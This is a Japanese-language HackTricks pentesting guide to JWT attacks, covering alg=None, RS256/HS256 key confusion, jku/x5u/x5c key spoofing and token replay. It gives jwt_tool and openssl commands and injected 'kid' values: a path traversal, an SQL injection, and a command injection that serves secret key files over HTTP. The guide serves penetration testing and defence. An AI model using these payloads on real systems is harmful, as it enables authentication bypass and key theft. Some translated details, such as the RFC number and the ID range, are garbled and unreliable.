hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

21 KiB
Raw Blame History

JWTの脆弱性Json Web Tokens

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ** htARTEHackTricks AWS Red Team Expertを学ぶ!

HackTricksをサポートする他の方法

ハッキングキャリアに興味がある方や解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

この投稿の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

クイックウィン

jwt_toolAll Tests!モードで実行し、緑色の行を待ちます

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません

その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプできます

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

データを変更せずに改ざんする

署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。例えば、ユーザー名を "admin" に変更してみてください。

トークンがチェックされているか?

JWTの署名が検証されているかどうかを確認するには:

  • エラーメッセージが検証中を示唆している場合は、詳細なエラーに機密情報が含まれているか確認する必要があります。
  • 返されるページの変化も検証を示します。
  • 変化がない場合は検証が行われていないことを示し、この場合はペイロードのクレームを改ざんして実験するタイミングです。

オリジン

トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認するために、プロキシのリクエスト履歴を調べることが重要です。

  • クライアントサイドから最初に見られるトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
  • サーバーサイドで生成されたトークンはセキュアなプロセスを示します。

期間

トークンが24時間以上続くかどうかを確認してください... 期限がないかもしれません。"exp" フィールドがある場合は、サーバーがそれを正しく処理しているか確認してください。

HMACシークレットの総当たり攻撃

このページを参照してください。

アルゴリズムをNoneに変更する(CVE-2015-9235)

使用されるアルゴリズムを "None" に設定し、署名部分を削除します。

この脆弱性を試すためにBurp拡張機能「JSON Web Token」を使用し、JWT内の異なる値を変更しますリクエストをRepeaterに送信し、「JSON Web Token」タブでトークンの値を変更できます。また、「Alg」フィールドの値を「None」に設定することもできます

アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)

アルゴリズムHS256は、各メッセージを署名および検証するために秘密鍵を使用します。
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。

アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。

その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行しているWebサーバーの証明書を取得できます。

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証しますCVE-2018-0114

これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します

JWKSスプーフィング

この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key SetJWKSファイルにリンクする必要があります。

  • "jku"ヘッダーを持つトークンの評価:
  • "jku"クレームのURLを確認して、適切なJWKSファイルにリンクしていることを確認します。
  • トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
  • HTTPインタラクションの監視:
  • 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとすることが示されます。
  • このプロセスでjwt_toolを使用する場合、テストを容易にするためにjwtconf.iniファイルを個人のJWKSの場所に更新することが重要です。
  • jwt_toolのコマンド:
  • 次のコマンドを実行して、jwt_toolを使用してシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s

Kidの問題の概要

kidとして知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、トークンの署名検証のために複数のキーが存在する環境で特に重要となります。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。

"kid"を通じてキーを明らかにする

kidクレームがヘッダーに存在する場合、対応するファイルやそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、「"kid":"key/12345"」が指定されている場合、Webルートで /key/12345 および /key/12345.pem ファイルを検索する必要があります。

"kid"を使用したパス遍歴

kidクレームは、ファイルシステムを移動するために悪用される可能性があり、任意のファイルを選択することができるようになります。kidの値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行したりすることが可能です。kidの値を変更して元の署名を保持しながらJWTを改ざんすることは、jwt_toolの-Tフラグを使用して以下に示すように実珵できます:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

JWT(JSON Web Tokens)ハッキング

予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽装することが可能です。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space ファイルは値 2 を含むことが知られており、JWT生成の対称パスワードとして kid パラメータで 2 を使用できます。

"kid"を介したSQLインジェクション

kid クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、kid ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです

non-existent-index' UNION SELECT 'ATTACKER';-- -

この変更により、JWT署名に既知の秘密キー ATTACKER が使用されるようになります。

"kid"を介したOSインジェクション

kid パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行RCEの脆弱性が発生する可能性があります。kid パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5uとjku

jku

jkuはJWK Set URLの略です。
トークンが "jku" Header クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。

まず、新しい証明書と新しい秘密鍵と公開鍵を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

その後、jwt.ioを使用して、作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。

公開証明書からパラメータ"e"と"n"を取得することができます。

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。

このヘッダーを自分のコントロール下のURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。

自分がコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

次に、たとえばjwt.ioを使用して、作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。

これらの脆弱性をSSRFに悪用することもできます。

x5c

このパラメータには、base64形式の証明書が含まれている場合があります:

攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、およびx5tを変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵CVE-2018-0114

JWTに次のシナリオのように公開鍵が埋め込まれている場合

次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することが可能です

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次のNode.jsスクリプトを使用して、「n」と「e」を取得できます

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

JTI (JWT ID)

JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。トークンのリプレイを防ぐために使用できます。
ただし、IDの最大長が40001-9999である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストのリプレイができます成功したリプレイごとに10000リクエストを送信する必要があります

JWT Registered claims

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

その他の攻撃

クロスサービスリレーアタック

一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアント向けに生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。第三者サービスを介したJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。

  • トークンが受け入れられることで、任意のユーザアカウントのスプーフィングが可能になる可能性があります。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要となる可能性があることに注意する必要があります。

トークンの有効期限チェック

トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な処理が必要です。他のユーザのJWTをキャプチャしてリプレイすることで、そのユーザのなりすましが可能になる場合があります。JWT RFCは、JWTリプレイ攻撃を緩和するために、「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションによる関連チェックの実装は、この値の処理を確実にし、期限切れのトークンを拒否することが重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後にリプレイすることが推奨されます。トークンの内容、タイムスタンプの解析、有効期限のチェックUTCのタイムスタンプは、jwt_toolの-Rフラグを使用して読むことができます。

  • アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。

ツール

{% embed url="https://github.com/ticarpi/jwt_tool" %}

ハッキングキャリアに興味がある方、そしてハッキングできないものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法